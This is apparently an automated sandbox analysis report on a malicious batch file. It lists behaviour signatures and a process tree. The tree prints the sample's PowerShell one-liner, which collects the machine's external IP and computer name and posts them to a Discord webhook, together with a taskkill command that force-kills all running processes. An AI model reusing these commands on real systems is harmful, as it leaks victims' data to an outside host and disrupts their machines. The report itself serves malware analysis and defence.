Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    03/06/2024, 11:31

General

  • Target
    dont run this.bat
  • Size 849B
  • Sample240603-nmpsdsch31
  • SHA256 5fa54e25da95bc1653386095036e5e49674eaf32a84abf5260d06766939b3c2b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 12 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 10 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dont run this.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& {$ip = Invoke-RestMethod http://ipinfo.io/json | Select-Object -ExpandProperty ip; $pcName = $env:COMPUTERNAME; $webhook = 'https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8'; $msg = 'IP Address: ' + $ip + ' | PC Name: ' + $pcName; Invoke-RestMethod -Uri $webhook -Method Post -Body @{content = $msg}}"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2860
    • C:\Windows\system32\taskkill.exe
      taskkill /F /FI "STATUS eq RUNNING"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4552
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4704
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:4232
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:3340
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:920
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:392
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    PID:944
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2600
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2904
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:4440
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:3176
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x0 /state0:0xa3a10855 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:2068
  • C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /R /T
    1⤵
    • Drops file in System32 directory
    PID:4140

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_moesszgw.sut.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_moesszgw.sut.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/2860-0-0x00007FFAF6113000-0x00007FFAF6115000-memory.dmp

        memory/2860-1-0x0000021077A20000-0x0000021077A42000-memory.dmp

        memory/2860-10-0x00007FFAF6110000-0x00007FFAF6BD2000-memory.dmp

        memory/2860-11-0x00007FFAF6110000-0x00007FFAF6BD2000-memory.dmp

        memory/2860-12-0x000002107A250000-0x000002107A412000-memory.dmp

        memory/2860-14-0x00007FFAF6110000-0x00007FFAF6BD2000-memory.dmp

        memory/2860-13-0x000002107A950000-0x000002107AE78000-memory.dmp

        memory/2860-17-0x00007FFAF6110000-0x00007FFAF6BD2000-memory.dmp